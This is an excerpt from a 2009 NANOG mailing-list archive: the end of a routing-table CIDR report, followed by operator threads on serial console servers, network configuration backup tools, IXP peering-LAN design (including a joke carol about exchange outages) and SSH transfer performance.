Total LACNIC prefixes after maximum aggregation: 5853 LACNIC Deaggregation factor: 4.06 Prefixes being announced from the LACNIC address blocks: 21917 Unique aggregates announced from the LACNIC address blocks: 12078 LACNIC Region origin ASes present in the Internet Routing Table: 1095 LACNIC Prefixes per ASN: 20.02 LACNIC Region origin ASes announcing only one prefix: 350 LACNIC Region transit ASes present in the Internet Routing Table: 181 Average LACNIC Region AS path length visible: 4.1 Max LACNIC Region AS path length visible: 28 Number of LACNIC addresses announced to Internet: 62481664 Equivalent to 3 /8s, 185 /16s and 101 /24s Percentage of available LACNIC address space announced: 62.1 LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247 plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 4885 Total AfriNIC prefixes after maximum aggregation: 1406 AfriNIC Deaggregation factor: 3.47 Prefixes being announced from the AfriNIC address blocks: 4578 Unique aggregates announced from the AfriNIC address blocks: 1394 AfriNIC Region origin ASes present in the Internet Routing Table: 292 AfriNIC Prefixes per ASN: 15.68 AfriNIC Region origin ASes announcing only one prefix: 89 AfriNIC Region transit ASes present in the Internet Routing Table: 59 Average AfriNIC Region AS path length visible: 3.9 Max AfriNIC Region AS path length visible: 15 Number of AfriNIC addresses announced to Internet: 11293696 Equivalent to 0 /8s, 172 /16s and 84 /24s Percentage of available AfriNIC address space announced: 33.7 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4766 1694 6930 401 Korea Telecom (KIX) 17488 1553 124 98 Hathway IP Over Cable Interne 4755 1229 432 176 TATA Communications formerly 9583 1090 87 539 Sify Limited 4134 896 16580 371 CHINANET-BACKBONE 7545 788 168 107 TPG Internet Pty Ltd 18101 751 217 31 Reliance Infocom Ltd Internet 24560 682 228 174 Bharti Airtel Ltd. 9498 675 297 53 BHARTI BT INTERNET LTD. 9829 634 495 21 BSNL National Internet Backbo Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4314 3669 346 bellsouth.net, inc. 209 2648 4151 624 Qwest 4323 1837 1051 375 Time Warner Telecom 1785 1752 717 139 PaeTec Communications, Inc. 20115 1616 1439 719 Charter Communications 7018 1479 5897 1015 AT&T WorldNet Services 6478 1368 305 454 AT&T Worldnet Services 2386 1255 681 905 AT&T Data Communications Serv 3356 1194 10980 454 Level 3 Communications, LLC 11492 1163 192 11 Cable One Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8452 1248 188 7 TEDATA 30890 539 88 198 SC Kappa Invexim SRL 3292 452 1764 390 TDC Tele Danmark 12479 447 578 6 Uni2 Autonomous System 3301 343 1670 307 TeliaNet Sweden 3320 342 7080 293 Deutsche Telekom AG 3215 340 3025 108 France Telecom Transpac 8866 337 109 22 Bulgarian Telecommunication C 35805 324 24 4 United Telecom of Georgia 29049 319 26 3 AzerSat LLC. Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1450 2848 233 UniNet S.A. de C.V. 10620 889 198 97 TVCABLE BOGOTA 22047 615 302 14 VTR PUNTO NET S.A. 7303 521 270 74 Telecom Argentina Stet-France 11830 516 294 34 Instituto Costarricense de El 16814 461 31 10 NSS, S.A. 6471 442 96 31 ENTEL CHILE S.A. 11172 410 102 72 Servicios Alestra S.A de C.V 28573 405 536 26 NET Servicos de Comunicao S.A 7738 397 794 28 Telecomunicacoes da Bahia S.A Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 855 78 35 LINKdotNET AS number 20858 297 34 4 This AS will be used to conne 3741 277 860 237 The Internet Solution 2018 243 215 143 Tertiary Education Network 6713 159 150 15 Itissalat Al-MAGHRIB 33783 151 10 8 EEPAD TISP TELECOM & INTERNET 29571 138 15 9 Ci Telecom Autonomous system 5536 123 8 9 Internet Egypt Network 5713 115 507 66 Telkom SA Ltd 33776 107 6 3 Starcomms Nigeria Limited Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4314 3669 346 bellsouth.net, inc. 209 2648 4151 624 Qwest 4323 1837 1051 375 Time Warner Telecom 1785 1752 717 139 PaeTec Communications, Inc. 4766 1694 6930 401 Korea Telecom (KIX) 20115 1616 1439 719 Charter Communications 17488 1553 124 98 Hathway IP Over Cable Interne 7018 1479 5897 1015 AT&T WorldNet Services 8151 1450 2848 233 UniNet S.A. de C.V. 6478 1368 305 454 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 209 2648 2024 Qwest 1785 1752 1613 PaeTec Communications, Inc. 4323 1837 1462 Time Warner Telecom 17488 1553 1455 Hathway IP Over Cable Interne 4766 1694 1293 Korea Telecom (KIX) 8452 1248 1241 TEDATA 8151 1450 1217 UniNet S.A. de C.V. 11492 1163 1152 Cable One 4755 1229 1053 TATA Communications formerly 18566 1059 1049 Covad Communications Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.154.0/23 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.159.0/24 7018 AT&T WorldNet Servic 32326 UNALLOCATED 12.40.49.0/24 7018 AT&T WorldNet Servic 25639 UNALLOCATED 12.41.169.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 24.75.116.0/22 10796 ServiceCo LLC - Road Runner 24.246.0.0/17 7018 AT&T WorldNet Services 24.246.128.0/18 7018 AT&T WorldNet Services 41.223.112.0/22 5713 Telkom SA Ltd 41.223.176.0/22 36981 >>UNKNOWN<< 41.223.188.0/24 22351 Intelsat 41.223.189.0/24 26452 Local Communications Networks 62.61.220.0/24 24974 Tachyon Europe BV - Wireless 62.61.221.0/24 24974 Tachyon Europe BV - Wireless 63.140.213.0/24 22555 Universal Talkware Corporatio Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:19 /9:10 /10:20 /11:58 /12:166 /13:335 /14:595 /15:1147 /16:10427 /17:4694 /18:8086 /19:17057 /20:20310 /21:20145 /22:25752 /23:25374 /24:149930 /25:726 /26:848 /27:350 /28:161 /29:37 /30:10 /31:0 /32:8 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 6389 2812 4314 bellsouth.net, inc. 4766 1391 1694 Korea Telecom (KIX) 209 1353 2648 Qwest 17488 1304 1553 Hathway IP Over Cable Interne 8452 1227 1248 TEDATA 1785 1158 1752 PaeTec Communications, Inc. 11492 1107 1163 Cable One 18566 1040 1059 Covad Communications 2386 954 1255 AT&T Data Communications Serv 4323 951 1837 Time Warner Telecom Complete listing at http://thyme.apnic.net/current/data/sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:13 8:200 12:2223 13:3 15:19 16:3 17:4 20:35 24:1076 32:50 38:523 40:97 41:2012 43:1 44:2 47:22 52:3 55:2 56:3 57:25 58:573 59:629 60:460 61:1114 62:1106 63:2034 64:3663 65:2394 66:3599 67:1514 68:719 69:2577 70:534 71:134 72:1652 73:2 74:1494 75:168 76:306 77:847 78:555 79:311 80:979 81:815 82:543 83:423 84:606 85:1059 86:394 87:635 88:357 89:1454 90:47 91:2161 92:350 93:1125 94:1189 95:1041 96:120 97:189 98:214 99:17 109:1 110:58 112:108 113:100 114:224 115:249 116:1159 117:515 118:293 119:668 120:143 121:704 122:1011 123:673 124:970 125:1311 128:224 129:231 130:127 131:417 132:73 133:9 134:185 135:214 136:242 137:151 138:149 139:79 140:424 141:107 142:376 143:335 144:357 145:45 146:372 147:154 148:519 149:236 150:181 151:198 152:151 153:138 154:2 155:271 156:169 157:298 158:126 159:304 160:282 161:133 162:274 163:149 164:482 165:537 166:267 167:357 168:687 169:163 170:472 171:38 172:10 173:271 174:186 178:1 186:8 187:76 188:9 189:333 190:2712 192:5797 193:4227 194:3309 195:2691 196:1055 198:3715 199:3321 200:5437 201:1347 202:7853 203:8163 204:3807 205:2150 206:2407 207:2806 208:3881 209:3390 210:2646 211:1100 212:1527 213:1713 214:71 215:30 216:4572 217:1260 218:361 219:420 220:1208 221:453 222:296 End of report From lsc at prgmr.com Fri Apr 24 13:33:18 2009 From: lsc at prgmr.com (Luke S Crawford) Date: 24 Apr 2009 14:33:18 -0400 Subject: integrated KVMoIP and serial console terminal server In-Reply-To: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> Message-ID: Joe Abley writes: > What is everybody's favourite combination rack-mount VGA/USB KVM-over- > IP and serial console concentrator in 2009? > > I'm looking for something that will accommodate 8 or so 9600bps serial > devices and about 12 VGA/USB devices, all reachable over IP via sane > means (ssh, https, etc). Being able to trunk everything through cat5E/ > RJ45 plant is not necessary; in this application everything is in the > same cabinet. I can't speak to the KVM over IP (for *NIX, they are obviously inferior to serial) but I do have some suggestions for the serial end. Personally, I use an opengear cm4148; it seems to work fairly well. If I only needed 8 ports, I'd still be using my solution from 2005, which was an 8 port rocketport serial card in a FreeBSD box. I only moved to the opengear because I need many more ports I like both the opengear and the freebsd box because I can use ssh auth, I can log, and I can lock down each user so that a given private key can only view a certain port. From bicknell at ufp.org Fri Apr 24 12:46:53 2009 From: bicknell at ufp.org (Leo Bicknell) Date: Fri, 24 Apr 2009 13:46:53 -0400 Subject: IXP In-Reply-To: <200904241706.n3OH6FeI047209@nb.tech.org> References: <49F1644F.5010903@he.net> <200904241706.n3OH6FeI047209@nb.tech.org> Message-ID: <20090424174653.GA1572@ussenterprise.ufp.org> In a message written on Fri, Apr 24, 2009 at 05:06:15PM +0000, Stephen Stuart wrote: > Your argument, and Leo's, is fundamentally the complacency argument > that I pointed out earlier. You're content with how things are, > despite the failure modes, and despite inefficiencies that the IXP > operator is forced to have in *their* business model because of your > complacency. I do not think that is my argument. I have looked at the failure modes and the cost of fixing them and decided that it is cheaper and easier to deal with the failure modes than it is to deal with the fix. Quite frankly, I think the failure modes have been grossly overblown. The number of incidents of shared network badness that have caused problems are actually few and far between. I can't attribute any down-time to shared-network badness at exchanges (note, colos are a different story) in a good 5-7 years. On the contrary, I can attribute downtime already to paranoia about it. When I had an ethernet interface fail at a colo provider to remain nameless I was forced to call the noc, have them put the port in a "quarantine" vlan, watch it with tcpdump for a hour, and then return it to service. Total additional downtime after the bad interface was replaced, 2 hours. I have no idea how watching an interface in a vlan with tcpdump supposedly protects a shared network. Remember the 7513's, where adding or removing a dot1q subinterface might bounce the entire trunk? I know of several providers to this day that won't add/remove subinterfaces during the day, but turning up BGP sessions on shared lans can be done all day long. The scheme proposed with private vlan's to every provider adds a significant amount of engineering time, documentation, and general effort to public peering. Public peering barely makes economic sense when its cost is as close to free as we can get it, virtually any increase makes it useless. We've already seen many major networks drop public peering all together because the internal time and effort to deal with small peers is not worth the benefit. Important volumes of traffic will be carried outside of a shared switch. The colo provider cannot provision a switching platform at a cost effective rate to handle all cross connects. So in the world of PNI's, the public switch, and shared segment already select for small players. You may want to peer with them because you think it's fair and good, you may do it to qualify up and comers for PNI's, but you're not /public peering/ for profit in 99% of the cases. All this is not to say private VLAN's aren't a service that could be offered. There may be a niche for particular size networks with particular sized flows to use them for good purposes. Colo providers should look at providing the service. A replacement for a shared, multi-access peering LAN? No. No. No. -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available URL: From Josh.Stephens at solarwinds.com Fri Apr 24 14:25:55 2009 From: Josh.Stephens at solarwinds.com (Stephens, Josh) Date: Fri, 24 Apr 2009 14:25:55 -0500 Subject: Config Backup / Inventory In-Reply-To: <20090424131047.GA73165@gweep.net> References: <20090424131047.GA73165@gweep.net> Message-ID: <832C54C8546AD0409AEA7E9FEBBEA1ECD0A79A@AUS-EXC-01.tul.solarwinds.net> Joe, If you're looking for a commercial solution, you might try out our Orion NCM product. http://www.solarwinds.com/products/orion/configuration_manager/ Ping me if you want any additional info. Josh -----Original Message----- From: Joe Provo [mailto:nanog-post at rsuc.gweep.net] Sent: Friday, April 24, 2009 8:11 AM To: nanog at nanog.org Subject: Re: Config Backup / Inventory On Fri, Apr 24, 2009 at 09:25:05AM +0100, Joshua Eyres wrote: [snip] > I am looking for a bit of advice around configuration backup / inventory. We > currently have a large multi-vendor network which is currently managed > through two separate tools (rancid - http://www.shrubbery.net/rancid and ns4 > - http://www.noodles.org.uk/ns4.html). Both tools do the job very well, but > management have asked that we look for commercial alternatives that have a > proper support organisation looking after them. Since rtrmon waned and rancid waxed (97ish?), I've been a proponent and seen no support issues. Lots of commercial offerings (mostly vendor- specific) have changed or were from companies which folded between then and now. A non-trivial track record speaks volumes. [snip] > things about it. We are looking for a tool which is flexible that allows > configuration backup to textual form for easy restoration as well as the > ability to deploy scripted changes to the network quickly. Sounds like rancid & par to me. :-) Cheers, Joe -- RSUC / GweepNet / Spunk / FnB / Usenix / SAGE From nick at foobar.org Fri Apr 24 14:39:12 2009 From: nick at foobar.org (Nick Hilliard) Date: Fri, 24 Apr 2009 20:39:12 +0100 Subject: IXP In-Reply-To: <20090424174653.GA1572@ussenterprise.ufp.org> References: <49F1644F.5010903@he.net> <200904241706.n3OH6FeI047209@nb.tech.org> <20090424174653.GA1572@ussenterprise.ufp.org> Message-ID: <49F21560.10205@foobar.org> On 24/04/2009 18:46, Leo Bicknell wrote: > I have looked at the failure modes and the cost of fixing them and > decided that it is cheaper and easier to deal with the failure modes > than it is to deal with the fix. Leo, your position is: "worse is better". I happen to agree with this sentiment for a variety of reasons. Stephen Stuart disagrees - for a number of other carefully considered and well-thought-out reasons. Richard Gabriel's essay on "worse is better" as it applied to Lisp is worth reading in this context. The ideas he presents are relevant well beyond the article's intended scope and are applicable to the shared l2 domain vs PI interconnection argument (within reasonable bounds). Nick From Sam.Crooks at experian.com Fri Apr 24 14:57:45 2009 From: Sam.Crooks at experian.com (Crooks, Sam) Date: Fri, 24 Apr 2009 14:57:45 -0500 Subject: Config Backup / Inventory In-Reply-To: <20090424131047.GA73165@gweep.net> Message-ID: Checkout Alterpoint Network Authority Inventory. The Inventory tool is free asn was developed as the Ziptie opensource project. Inventory is the basis for how Alterpoint does the paid offerings for configurtion audit and compliance and the higher level analytics based on the configuration and inventory repository that NA Inventory provides. The Inventory component is free but be prepared for sticker shock for the whole Alterpoint suite of tools. There is also ManageEngine DeviceExpert (not free, but inexpensive) and Solarwinds Orion NCM (fromerly Cirrus configuration management, also inexpensive) Sam Crooks GTS Network Architecture 701 Experian Pkwy B5302 Allen, TX 75013 972-390-3186 sam.crooks at experian.com -----Original Message----- From: Joe Provo [mailto:nanog-post at rsuc.gweep.net] Sent: Friday, April 24, 2009 8:11 AM To: nanog at nanog.org Subject: Re: Config Backup / Inventory On Fri, Apr 24, 2009 at 09:25:05AM +0100, Joshua Eyres wrote: [snip] > I am looking for a bit of advice around configuration backup / > inventory. We currently have a large multi-vendor network which is > currently managed through two separate tools (rancid - > http://www.shrubbery.net/rancid and ns4 > - http://www.noodles.org.uk/ns4.html). Both tools do the job very > well, but management have asked that we look for commercial > alternatives that have a proper support organisation looking after them. Since rtrmon waned and rancid waxed (97ish?), I've been a proponent and seen no support issues. Lots of commercial offerings (mostly vendor- specific) have changed or were from companies which folded between then and now. A non-trivial track record speaks volumes. [snip] > things about it. We are looking for a tool which is flexible that > allows configuration backup to textual form for easy restoration as > well as the ability to deploy scripted changes to the network quickly. Sounds like rancid & par to me. :-) Cheers, Joe -- RSUC / GweepNet / Spunk / FnB / Usenix / SAGE From oberman at es.net Fri Apr 24 15:39:14 2009 From: oberman at es.net (Kevin Oberman) Date: Fri, 24 Apr 2009 13:39:14 -0700 Subject: Important New Requirement for IPv4 Requests In-Reply-To: Your message of "Fri, 24 Apr 2009 10:55:07 CDT." <982D8D05B6407A49AD506E6C3AC8E7D6E518A1FEA2@caralain.haven.nynaeve.net> Message-ID: <20090424203914.8EEE31CC50@ptavv.es.net> > From: Skywing > Date: Fri, 24 Apr 2009 10:55:07 -0500 > > Of course, sftp and other ssh-based protocols are *still* hamstrung to > a maximum of 32k data outstanding due to hardcoded SSH channel window > sizes by default for most people, unless you're patching up both your > clients and servers. > > Sadly, this blows ssh out of the water for anything with even modest > high-bitrate requirements over moderate-BDP links. The HPN patches for OpenSSH are readily available and, at least on FreeBSD, including them is just a single checkbox when you install. That said, I have been told that there is a corner case where a transfer using the HPN patches will lock up. I have never seen it, but that is purported to be the reason that OpenBSD has not accepted the patches for the base OpenSSH software. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From pauldotwall at gmail.com Fri Apr 24 16:22:49 2009 From: pauldotwall at gmail.com (Paul Wall) Date: Fri, 24 Apr 2009 16:22:49 -0500 Subject: IXP In-Reply-To: <20090424174653.GA1572@ussenterprise.ufp.org> References: <49F1644F.5010903@he.net> <200904241706.n3OH6FeI047209@nb.tech.org> <20090424174653.GA1572@ussenterprise.ufp.org> Message-ID: <620fd17c0904241422w2fb90191s1ed11475371a3333@mail.gmail.com> On Fri, Apr 24, 2009 at 12:46 PM, Leo Bicknell wrote: > Quite frankly, I think the failure modes have been grossly overblown. > The number of incidents of shared network badness that have caused > problems are actually few and far between. ?I can't attribute any > down-time to shared-network badness at exchanges (note, colos are > a different story) in a good 5-7 years. Wait aren't you on NYIIX and Any2? Those two alone are good for 5-7 times a year like clockwork. Please allow me to send you a complementary copy of "The Twelve Days of NYIIX" for your caroling collection this December: On the first day of Christmas, NYIIX gave to me, A BPDU from someone's spanning tree. On the second day of Christmas, NYIIX gave to me, Two forwarding loops, And a BPDU from someone's spanning tree. On the third day of Christmas, NYIIX gave to me, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the fourth day of Christmas, NYIIX gave to me, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the fifth day of Christmas, NYIIX gave to me, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the sixth day of Christmas, NYIIX gave to me, Six maintenances notices, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the seventh day of Christmas, NYIIX gave to me, Seven broadcast floods, Six maintenances notices, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the eighth day of Christmas, NYIIX gave to me, Eight defaulting peers, Seven broadcast floods, Six maintenances notices, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the ninth day of Christmas, NYIIX gave to me, Nine CDP neighbors, Eight defaulting peers, Seven broadcast floods, Six maintenances notices, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the tenth day of Christmas, NYIIX gave to me, Ten proxy ARPs, Nine CDP neighbors, Eight defaulting peers, Seven broadcast floods, Six maintenances notices, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the eleventh day of Christmas, NYIIX gave to me, Eleven OSPF hellos, Ten proxy ARPs, Nine CDP neighbors, Eight defaulting peers, Seven broadcast floods, Six maintenances notices, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. On the twelfth day of Christmas, NYIIX gave to me, Twelve peers in half-duplex, Eleven OSPF hellos, Ten proxy ARPs, Nine CDP neighbors, Eight defaulting peers, Seven broadcast floods, Six maintenances notices, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, And a BPDU from someone's spanning tree. From frnkblk at iname.com Fri Apr 24 16:22:03 2009 From: frnkblk at iname.com (Frank Bulk) Date: Fri, 24 Apr 2009 16:22:03 -0500 Subject: integrated KVMoIP and serial console terminal server In-Reply-To: References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> Message-ID: The OpenGear (based on their online demo) has much better configuration GUI than the WTI, hands down. Every time I make a change on the WTI, it has to reboot itself. =( Frank -----Original Message----- From: Luke S Crawford [mailto:lsc at prgmr.com] Sent: Friday, April 24, 2009 1:33 PM To: Joe Abley Cc: NANOG list Subject: Re: integrated KVMoIP and serial console terminal server Joe Abley writes: > What is everybody's favourite combination rack-mount VGA/USB KVM-over- > IP and serial console concentrator in 2009? > > I'm looking for something that will accommodate 8 or so 9600bps serial > devices and about 12 VGA/USB devices, all reachable over IP via sane > means (ssh, https, etc). Being able to trunk everything through cat5E/ > RJ45 plant is not necessary; in this application everything is in the > same cabinet. I can't speak to the KVM over IP (for *NIX, they are obviously inferior to serial) but I do have some suggestions for the serial end. Personally, I use an opengear cm4148; it seems to work fairly well. If I only needed 8 ports, I'd still be using my solution from 2005, which was an 8 port rocketport serial card in a FreeBSD box. I only moved to the opengear because I need many more ports I like both the opengear and the freebsd box because I can use ssh auth, I can log, and I can lock down each user so that a given private key can only view a certain port. From darren at bolding.org Fri Apr 24 16:24:02 2009 From: darren at bolding.org (Darren Bolding) Date: Fri, 24 Apr 2009 14:24:02 -0700 Subject: integrated KVMoIP and serial console terminal server In-Reply-To: References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> Message-ID: <5a318d410904241424l523e2398q3170ededcab9696@mail.gmail.com> We just switched from using Avocent/Cyclades to using Raritan for our terminal servers, and I am happier with the Raritan. I have used Raritan IP KVM's in the past and been happy, and the IT folks seem to like their new one. I found the Raritan terminal server docs much more complete, it's support for direct access to serial ports via ssh much more complete, its support for remote authentication (TACACS+) better, it's console sharing features better, etc. etc. I was surprised how much better we liked it than the other products we've used. --D On Fri, Apr 24, 2009 at 11:33 AM, Luke S Crawford wrote: > Joe Abley writes: > > What is everybody's favourite combination rack-mount VGA/USB KVM-over- > > IP and serial console concentrator in 2009? > > > > I'm looking for something that will accommodate 8 or so 9600bps serial > > devices and about 12 VGA/USB devices, all reachable over IP via sane > > means (ssh, https, etc). Being able to trunk everything through cat5E/ > > RJ45 plant is not necessary; in this application everything is in the > > same cabinet. > > I can't speak to the KVM over IP (for *NIX, they are obviously > inferior to serial) but I do have some suggestions for the serial end. > > Personally, I use an opengear cm4148; it seems to work fairly well. > > If I only needed 8 ports, I'd still be using my solution from 2005, which > was an 8 port rocketport serial card in a FreeBSD box. I only moved to > the opengear because I need many more ports > > I like both the opengear and the freebsd box because I can use ssh auth, > I can log, and I can lock down each user so that a given private key can > only view a certain port. > > > > -- -- Darren Bolding -- -- darren at bolding.org -- From bicknell at ufp.org Fri Apr 24 16:41:17 2009 From: bicknell at ufp.org (Leo Bicknell) Date: Fri, 24 Apr 2009 17:41:17 -0400 Subject: IXP In-Reply-To: <620fd17c0904241422w2fb90191s1ed11475371a3333@mail.gmail.com> References: <49F1644F.5010903@he.net> <200904241706.n3OH6FeI047209@nb.tech.org> <20090424174653.GA1572@ussenterprise.ufp.org> <620fd17c0904241422w2fb90191s1ed11475371a3333@mail.gmail.com> Message-ID: <20090424214117.GA14242@ussenterprise.ufp.org> In a message written on Fri, Apr 24, 2009 at 04:22:49PM -0500, Paul Wall wrote: > On the twelfth day of Christmas, NYIIX gave to me, > Twelve peers in half-duplex, > Eleven OSPF hellos, > Ten proxy ARPs, > Nine CDP neighbors, > Eight defaulting peers, > Seven broadcast floods, > Six maintenances notices, > Five flapping sessions, > Four Foundry crashes, > Three routing leaks, > Two forwarding loops, > And a BPDU from someone's spanning tree. Let's group: Problems that can/will occur with per-vlan peering: Twelve peers in half-duplex, Six maintenances notices, Five flapping sessions, Four Foundry crashes, Three routing leaks, Two forwarding loops, Problems that if they affect your equipment, you're configuring it wrong, and can/will occur with per-vlan peering: Eleven OSPF hellos, Nine CDP neighbors, Problems that if they affect the exchange, the exchange is configuring their equipment wrong, and can/will ocurr with per-vlan peering: Two forwarding loops, And a BPDU from someone's spanning tree. Problems unique to a shared layer 2 network: Eight defaulting peers, Seven broadcast floods, Leaving aside the particular exchanges, I'm going to guess you are not impressed by the technical tallent operating the exchange switches from the tone of your message. Do you believe making the configuration for the exchange operation 100 times more complex will: A) Lead to more mistakes and down time. B) Lead to less mistakes and down time. C) Have no effect? I'm going with A. I also think the downtime from A, will be an order of magnitude more down time than the result of defaulting peers (which, generally results in no down time, just theft of service), or broadcast floods. -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available URL: From Skywing at valhallalegends.com Fri Apr 24 21:16:18 2009 From: Skywing at valhallalegends.com (Skywing) Date: Fri, 24 Apr 2009 21:16:18 -0500 Subject: Important New Requirement for IPv4 Requests Message-ID: <982D8D05B6407A49AD506E6C3AC8E7D6E518A1FEAA@caralain.haven.nynaeve.net> Keep in mind that you also need to patch your clients for perf improvements bidirectionally. As well as patching locally means you must assume responsibility for custom builds for security fixes on all of your clients and servers. - S -----Original Message----- From: Kevin Oberman Sent: Friday, April 24, 2009 13:39 To: Skywing Cc: Jo Rhett ; Joe Greco ; bmanning at vacation.karoshi.com ; nanog at nanog.org Subject: Re: Important New Requirement for IPv4 Requests > From: Skywing > Date: Fri, 24 Apr 2009 10:55:07 -0500 > > Of course, sftp and other ssh-based protocols are *still* hamstrung to > a maximum of 32k data outstanding due to hardcoded SSH channel window > sizes by default for most people, unless you're patching up both your > clients and servers. > > Sadly, this blows ssh out of the water for anything with even modest > high-bitrate requirements over moderate-BDP links. The HPN patches for OpenSSH are readily available and, at least on FreeBSD, including them is just a single checkbox when you install. That said, I have been told that there is a corner case where a transfer using the HPN patches will lock up. I have never seen it, but that is purported to be the reason that OpenBSD has not accepted the patches for the base OpenSSH software. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From randy at psg.com Fri Apr 24 21:35:38 2009 From: randy at psg.com (Randy Bush) Date: Sat, 25 Apr 2009 11:35:38 +0900 Subject: Important New Requirement for IPv4 Requests In-Reply-To: <20090424162910.51A5C1CC50@ptavv.es.net> References: <49F164B6.9070109@coders.net> <20090424162910.51A5C1CC50@ptavv.es.net> Message-ID: > A good web site to read a bout getting fast bulk data transfers is: > http://fasterdata.es.net indeed mtu clue is also useful. here on tokyo b-flets, and i would guess in many other ppoe environments, you need to tune or lose big-time. randy From tims at donet.com Sat Apr 25 00:14:52 2009 From: tims at donet.com (Tim Sanderson) Date: Sat, 25 Apr 2009 01:14:52 -0400 Subject: Config Backup / Inventory In-Reply-To: References: Message-ID: Kiwi CatTools works well for us-and it's inexpensive. I've been very happy with it. -- Tim -----Original Message----- From: Joshua Eyres [mailto:joshua.eyres at gmail.com] Sent: Friday, April 24, 2009 4:25 AM To: nanog at nanog.org Subject: Config Backup / Inventory Hi, I am looking for a bit of advice around configuration backup / inventory. We currently have a large multi-vendor network which is currently managed through two separate tools (rancid - http://www.shrubbery.net/rancid and ns4 - http://www.noodles.org.uk/ns4.html). Both tools do the job very well, but management have asked that we look for commercial alternatives that have a proper support organisation looking after them. IP Service Activator has been mentioned as something which can fit this role, but I haven't had any experience and I haven't heard a lot of good things about it. We are looking for a tool which is flexible that allows configuration backup to textual form for easy restoration as well as the ability to deploy scripted changes to the network quickly. Do people generally use free tools for network management or are there viable commercial alternatives? Thanks, Josh THIS MESSAGE IS INTENDED ONLY FOR PERSONAL AND CONFIDENTIAL USE OF THE INDIVIDUAL OR ENTITY TO WHOM IT IS ADDRESSED AND MAY CONTAIN INFORMATION THAT IS PRIVILEGED, CONFIDENTIAL, AND EXEMPT FROM DISCLOSURE UNDER APPLICABLE LAW. If the reader of this message is not the intended recipient, or the employee or agent responsible for delivering the message to the intended recipient, you are hereby notified that you have received this message in error and that any review, dissemination, distribution, or copying of this message is strictly prohibited. If you have received this message in error, please notify the sender immediately by e-mail or telephone, and delete the original message immediately. Thank you. From owen at delong.com Sat Apr 25 01:19:10 2009 From: owen at delong.com (Owen DeLong) Date: Fri, 24 Apr 2009 23:19:10 -0700 